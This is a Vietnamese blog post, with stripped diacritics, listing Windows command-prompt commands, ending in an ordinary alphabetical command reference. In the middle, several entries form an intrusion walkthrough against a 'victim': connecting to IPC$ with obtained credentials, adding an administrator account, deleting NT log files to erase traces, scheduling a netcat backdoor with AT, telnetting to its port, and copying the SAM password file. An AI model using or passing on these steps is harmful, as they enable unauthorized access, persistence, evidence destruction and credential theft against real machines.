4/14/2014 Cc lnh trong cmd ~ Construction and IT

http://ruconit.blogspot.com/2012/06/cac-lenh-trong-cmd.html 1/8
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Cc lnh trong cmd
u tin xin hng dn cc bn cc lnh Ping kim tra tc mng:

- FPT : + ping 210.245.31.130 -t || + ping 210.245.87.123 -t || +
ping 210.245.1.253-t
- Viettel : + ping 203.113.131.1 -t || + ping 203.113.131.9 -t
- VNPT : + ping 203.162.4.190 -t || + ping 203.162.4.191 -t
- in lc : ping 203.162.4.190 -t
- VNGT : ping 202.134.18.37 -t
- H thng Netnam : ping 125.214.16.68 -t
Mnh xin ni qua v Ping
Chc nng: l cng c phn tch mng n gin kim tra mng Lan,
Wan, ti mt trang web, o tc ng truyn....
C mt thi hacker s dng ping lm cng c t lit my tnh
Cc c php:
* ping <a ch> : Hm lnh n gin
* ping <a ch> [-t] : khng gii hn thi gian
* ping <a ch> [-l size] : Kch c gi
* ping <a ch> [-n count] : Thit lp n ln ping
Sau khi g n s hin ln mt dng gm c ch v s bao gm kch c gi d
liu, a ch host truy vn, dy s ICMP, thi gian sng, thi gian tr trn vng,
n v thi gian v thi gian di 10 giy
1. Lnh Ping : C php: Code: ping ip/host [/t][/a][/l][/n] - ip: a ch IP ca
my cn kim tra; host l tn ca my tnh cn kim tra. Ngi ta c th s
dng a ch IP hoc tn ca my tnh. - Tham s /t: S dng tham s ny
my tnh lin tc "ping" n my tnh ch, cho n khi bn bm Ctrl + C - Tham
s /a: Nhn a ch IP t tn host - Tham s /l : Xc nh rng ca gi tin gi
i kim tra. Mt s hacker s dng tham s ny tn cng t chi dch v
mt my tnh (Ping of Death - mt loi DoS), nhng ti ngh l hacker c cng
c ring ping mt gi tin ln nh th ny, v phi c nhiu my tnh cng

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4/14/2014 Cc lnh trong cmd ~ Construction and IT
http://ruconit.blogspot.com/2012/06/cac-lenh-trong-cmd.html 2/8
ping mt lt. - Tham s /n : Xc nh s gi tin s gi i. V d: ping
174.178.0.1/n 5 Cng dng : + Lnh ny c s dng kim tra xem mt
my tnh c kt ni vi mng khng. Lnh Ping s gi cc gi tin t my tnh
bn ang ngi ti my tnh ch. Thng qua gi tr m my tnh ch tr v i
vi tng gi tin, bn c th xc nh c tnh trng ca ng truyn (chng
hn: gi 4 gi tin nhng ch nhn c 1 gi tin, chng t ng truyn rt
chm (xu)). Hoc cng c th xc nh my tnh c kt ni hay khng (Nu
khng kt ni,kt qu l Unknow host)....
2. Lnh Tracert : C php : Code: tracert ip/host Cng dng : + Lnh ny s
cho php bn "nhn thy" ng i ca cc gi tin t my tnh ca bn n
my tnh ch, xem gi tin ca bn vng qua cc server no, cc router no...
Qu hay nu bn mun thm d mt server no .
3. Lnh Net Send, gi thng ip trn mng (ch s dng trn h thng my
tnh Win NT/2000/XP): C php: Net send ip/host thng_ip_mun_gi Cng
dng: + Lnh ny s gi thng ip ti my tnh ch (c a ch IP hoc tn
host) thng ip: thng_ip_mun_gi. + Trong mng LAN, ta c th s dng
lnh ny chat vi nhau. Trong phng vi tnh ca trng tui thng dng lnh
ny gho mi ngi! Bn cng c th gi cho tt c cc my tnh trong
mng LAN theo cu trc sau : Code: Net send * hello!I'm pro_hacker_invn
4. Lnh Netstat : C php: Code: Netstat [/a][/e][/n] - Tham s /a: Hin th tt
c cc kt ni v cc cng ang lng nghe (listening) - Tham s /e: hin th cc
thng tin thng k Ethernet - Tham s /n: Hin th cc a ch v cc s cng
kt ni... Ngoi ra cn mt vi tham s khc, hy g Netstat/? bit thm
Cng dng : + Lnh Netstat cho php ta lit k tt c cc kt ni ra v vo my
tnh ca chng ta.
5. Lnh IPCONFIG : C php: Code: ipconfig /all Cng dng: + Lnh ny s
cho php hin th cu hnh IP ca my tnh bn ang s dng, nh tn host, a
ch IP, mt n mng...
6. Lnh FTP (truyn ti file): C php: Code: ftp ip/host Nu kt ni thnh cng
n my ch, bn s vo mn hnh ftp, c du nhc nh sau: Code: ftp>_ Ti
y, bn s thc hin cc thao tc bng tay vi ftp, thay v dng cc chng
trnh kiu Cute FTP, Flash FXP. Nu kt ni thnh cng, chng trnh s yu
cu bn nhp User name, Password. Nu username v pass hp l, bn s
c php upload, duyt file... trn my ch. Mt s lnh ftp c bn: -cd
thu_muc: chuyn sang th mc khc trn my ch - dir: Xem danh sch cc
file v th mc ca th mc hin thi trn my ch - mdir thu_muc: To mt
th mc mi c tn thu_muc trn my ch - rmdir thu_muc: Xo (remove
directory) mt th mc trn my ch - put file: ti mt file file (y c ng
dn. VD: c:\tp\bin\baitap.exe) t my bn ang s dng ln my ch. - close:
ng phin lm vic - quit: Thot khi chng trnh ftp, quay tr v ch DOS
command. Ngoi ra cn mt vi lnh na, xin mi cc bn t tm hiu. Cng
dng : + FTP l mt giao thc c s dng gi v nhn file gia cc my
tnh vi nhau. Windows ci t sn lnh ftp, c tc dng nh mt chng
trnh chy trn nn console (vn bn), cho php thc hin kt ni n my ch
ftp
7. Lnh Net View : C php: Code: Net View
[\\computer|/Domain[:ten_domain]] Cng dng: + Nu ch nh net view [enter],
n s hin ra danh sch cc my tnh trong mng cng domain qun l vi my
tnh bn ang s dng. + Nu nh net view \\tenmaytinh, s hin th cc chia
s ti nguyn ca my tnh tenmaytinh . Sau khi s dng lnh ny, cc bn c
th s dng lnh net use s dng cc ngun ti nguyn chia s ny.
8. Lnh Net Use : C php: Code: Net use \\ip\ipc$ "pass" /user:"xxx" - ip: a
ch IP ca victim. - xxx: user ca my victim - pass: password ca user Gi s
ta c c user v pass ca victim c IP l 68.135.23.25 trn net th ta c th
kt ni n my tnh ri y! V d: user: vitim ; pass :12345 . Ta dng lnh
sau: Code: Net use \\68.135.23.25\ipc$ "12345" /user:"victim" Cng dng: + kt
ni mt IPC$ n my tnh victim (bt u qu trnh xm nhp).
9. Lnh Net User : C php: Code: Net User [username pass] [/add] -
Username : tn user cn add - pass : password ca user cn add Khi add c
user vo ri th ta tin hnh add user ny vo nhm administrator. Code: Net
Localgroup Adminstrator [username] [/add] Cng dng: + Nu ta ch nh lnh
Net User th s hin th cc user c trong my tnh. + Nu ta nh lnh Net
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4/14/2014 Cc lnh trong cmd ~ Construction and IT
http://ruconit.blogspot.com/2012/06/cac-lenh-trong-cmd.html 3/8
User [username pass] [/add] th my tnh s tin hnh thm mt ngi dng
vo. V d: ta tin hnh add thm mt user c tn l xuanhoa , password l
:banvatoi vo vi cu trc lnh nh sau: Code: Net User xuanhoa banvatoi /add
Sau add user xuanhoa vo nhm adminnistrator Code: Net Localgroup
Administrator xuanhoa /add
10. Lnh Shutdown: C php: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-
a] [-f] [-c "commet] [-d upx:yy] (p dng cho win XP) - Tham s -m\\ip : ra lnh
cho mt my tnh t xa thc hin cc lnh shutdown, restart,.. - Tham s -t xx
: t thi gian cho vic thc hin lnh shutdown. - Tham s -l : logg off (lu
ko th thc hin khi remote) - Tham s -s : shutdown - Tham s -r : shutdown
v restart - Tham s -a : khng cho shutdown - Tham s -f : shutdown m ko
cnh bo - Tham s -c "comment" : li cnh bo trc khi shutdown - Tham s
-d upx:yy : ko r Code: shutdown \\ip (p dng win NT) r hn v lnh
shutdown bn c th g shutdown /? c hng dn c th hn! Cng
dng: + Shutdown my tnh.
11. Lnh DIR : C php: Code: DIR [drive:][path][filename] Lnh ny qu cn
bn ri, chc tui khi hng dn, r hn bn nh lnh DIR /? c
hng dn. Cng dng: + xem file, folder.
12. Lnh DEL : C php: Code: DEL [drive:][path][filename] Lnh ny cng cn
bn ri, ko phi ni nhu. Cng dng: Xa mt file, thng thng sau khi xm
nhp vo h thng, ta phi tin hnh xa du vt ca mnh khi b pht
hin.Sau y l nhng files nht k ca Win NT: Code: del
C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del
C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del
C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log
13. Lnh to a o trn computer: C php: Code: Net use z: \\ip\C$ ( hoc
l IPC$ ) - Z l ca mnh...cn C$ l ca Victim Cng dng: To 1 a o trn
my tnh (lnh ny tui ko r nn ko th hng dn chi tit c)
14. Lnh Net Time : C php: Code: Net Time \\ip Cng dng: + Cho ta bit
thi gian ca victim, sau dng lnh AT khi ng chng trnh.
15. Lnh AT: C php: Code: AT \\ip Cng dng: + Thng thng khi xm
nhp vo my tnh victim khi rt lui th ta s tng qu lu nim ln my tnh
victim, khi copy troj hoc backdoor ln my tnh ri ta s dng lnh at
khi ng chng. V d: y tui c con troj tn nc.exe (NC l t vit tc ca
NETCAT....n l mt telnet server vi port 99) v c copy ln my victim ri.
u tin ta cn bit thi gian ca victim c IP l : 68.135.23.25 . Code: Net
Time \\68.135.23.25 By h n s phn hi cho ta thi gian ca victim, v d :
12:00. Code: AT \\68.135.23.25 12:3 nc.exe i n 12:3 l n s t chy trn
my nn nhn v chng ta c th connected n port 99.
16. Lnh Telnet: C php: Code: telnet host port G telnet /? bit thm chi
tit. Nhng nu nh my victim dnh con nc ri th ta ch cn connect n
port 99 l OKie Code: telnet 68.135.23.25 99 Cng dng: + Kt ni n host
qua port xx
17. Lnh COPY: C php: Code: COPY /? Dng lnh trn r hn! Cng
dng: + Copy file, tui khi ni thm nh. V d:chng ta copy files index trn C
ca mnh ln C ca 127.0.0.1 Code: Copy Index.html
\\127.0.0.1\C$\index.html nu bn copy ln folder winNt Code: Copy index.html
\\127.0.0.1\admin$\index.html mun copy files trn my victm th bn g vo :
Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\
18. Lnh SET: C php: Code: SET Cng dng: + Displays, sets, or removes
cmd.exe enviroment variables. 19. Lnh Nbtstat: C php: Code: Nbtstat /? G
lnh trn r hn v lnh ny. Cng dng: + Display protocol statistic and
curent TCP/IP connections using NBT (netbios over TCP?IP).
Ngoi ra cn c cc lnh thng dng khc sau y:
bootcfg : xem thit lp phn ti h iu hnh ban u .
defrag : lnh ny dng dn a cng .
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4/14/2014 Cc lnh trong cmd ~ Construction and IT
http://ruconit.blogspot.com/2012/06/cac-lenh-trong-cmd.html 4/8
diskpart : qun l phn vng trn a . Chng ta c th bm DISKPART / ?
xem hng dn cch dng chi tit .
driverquery : nhn danh sch cc chng trnh Driver v nhng thuc tnh ca
chng .
getmac : nhn a ch MAC ( Media Access Control ) ca Card mng .
gpresult : nhn RSoP , nhng thit lp ngi dng v nhng thit lp ca
chnh sch nhm.
netsh : cng c cu hnh mng . Bm NETSH / ? bit thm chi tit .
thot khi cng c ny g lnh NETSH>
openfiles : cho php Admin hin th hoc b kt ni nhng file ang m trong
XP Pro . Bm OPENFILES/? bit thm v tham s .
recover : khi phc nhng thng tin khng th c c trn a .
reg : cng c cho Registry .
schtasks : Admin c th to lch trnh , thay i , xo nhng nhim v trn
my trm hoc nhng my iu khin t xa . SCHTASKS/? hin th nhng
tham s .
sfc : kim tra file h thng , bo v v thay th , sa cha nhng file h thng
b hng .
shutdown : bn c th tt hoc khi ng li my tnh ca mnh hoc Admin
c th tt hoc khi ng li nhng my tnh iu khin t xa .
systeminfo : hin th nhng thng tin cu hnh c bn .
tasklisk : cho chng ta bit nhng chng trnh no ang chy .
taskkill : tt nhng chng trnh ang chy
dxdiag : cu hnh
Su tp lnh CMD full:
A ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations
ASSOCIAT One step file association
ATTRIB Change file attributes
b
BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info
c
CACLS Change file permissions
CALL Call one batch program from another
CD Change Directory - move to a specific Folder
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen
CLUSTER Windows Clustering
CMD Start a new CMD shell
COLOR Change colors of the CMD window
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
COPY Copy one or more files to another location
CSCcmd Client-side caching (Offline Files)
CSVDE Import or Export Active Directory data
d
DATE Display or set the date
DEFRAG Defragment hard drive
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4/14/2014 Cc lnh trong cmd ~ Construction and IT
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DEL Delete one or more files
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DISKPART Disk Administration
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSADD Add user (computer, group..) to active directoryDSQUERY List items in
active directory
DSMOD Modify user (computer, group..) in active directory
DSRM Remove items from Active Directory
e
ECHO Display message on screen
ENDLOCAL End localisation of environment changes in a batch file
ERASE Delete one or more files
EXIT Quit the current script/routine and set an errorlevel
EXPAND Uncompress files
EXTRACT Uncompress CAB files
f
FC Compare two files
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR /F Loop command: against a set of files
FOR /F Loop command: against the results of another command
FOR Loop command: all options Files, Directory, List
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
FTYPE Display or modify file types used in file extension associations
g
GLOBAL Display membership of global groups
GOTO Direct a batch program to jump to a labelled line
h
HELP Online Help
i
iCACLS Change file and folder permissions
IF Conditionally perform a command
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP
k
KILL Remove a program from memory
l
LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer.
LOGOFF Log a user off
LOGTIME Log the date and time in a file
m
MAPISEND Send email from the command line
MBSAcli Baseline Security Analyzer.
MEM Display memory usage
MD Create new folders
MKLINK Create a symbolic link (linkd)
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
IP
Phn mm
TweakNow
PowerPack
2012
a tp tin chia
s ln
MediaFire vi
MediaFire
Ex...
thng by (1)
4/14/2014 Cc lnh trong cmd ~ Construction and IT
http://ruconit.blogspot.com/2012/06/cac-lenh-trong-cmd.html 6/8
MOVE Move files from one folder to another
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)
MV Copy in-use files
n
NET Manage network resources
NETDOM Domain Manager
NETSH Configure network protocols
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights
p
PATH Display or set a search path for executable files
PATHPING Trace route plus network latency and packet loss
PAUSE Suspend processing of a batch file and display a message
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
POPD Restore the previous value of the current directory saved by PUSHD
PORTQRY Display the status of ports and services
POWERCFG Configure power settings
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt
PsExec Execute process remotely
PsFile Show files opened remotely
PsGetSid Display the SID of a computer or a user
PsInfo List information about a system
PsKill Kill processes by name or process ID
PsList List detailed information about processes
PsLoggedOn Who's logged on (locally or via resource sharing)
PsLogList Event log records
PsPasswd Change account password
PsService View and control services
PsShutdown Shutdown or reboot a computer
PsSuspend Suspend processes
PUSHD Save and then change the current directory
q
QGREP Search file(s) for lines that match a given pattern.
r
RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Registry: Read, Set, Export, Delete keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file
REN Rename a file or files
REPLACE Replace or update one file with another
RD Delete folder(s)
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
4/14/2014 Cc lnh trong cmd ~ Construction and IT
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ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)
s
SC Service Control
SCHTASKS Schedule a command to run at a specific time
SCLIST Display NT Services
SET Display, set, or remove environment variables
SETLOCAL Control the visibility of environment variables
SETX Set environment variables permanently
SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SLMGR Software Licensing Management (Vista/2008)
SOON Schedule a command to run in the near future
SORT Sort input
START Start a program or command in a separate window
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration
t
TASKLIST List running applications and services
TASKKILL Remove a running process from memory
TIME Display or set the system time
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session
TLIST Task list with full path
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file
u
USRSTAT List domain usernames and last login
v
VER Display version information
VERIFY Verify that files have been saved
VOL Display a disk label
w
WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands
x
XCACLS Change file and folder permissions
XCOPY Copy files and folders
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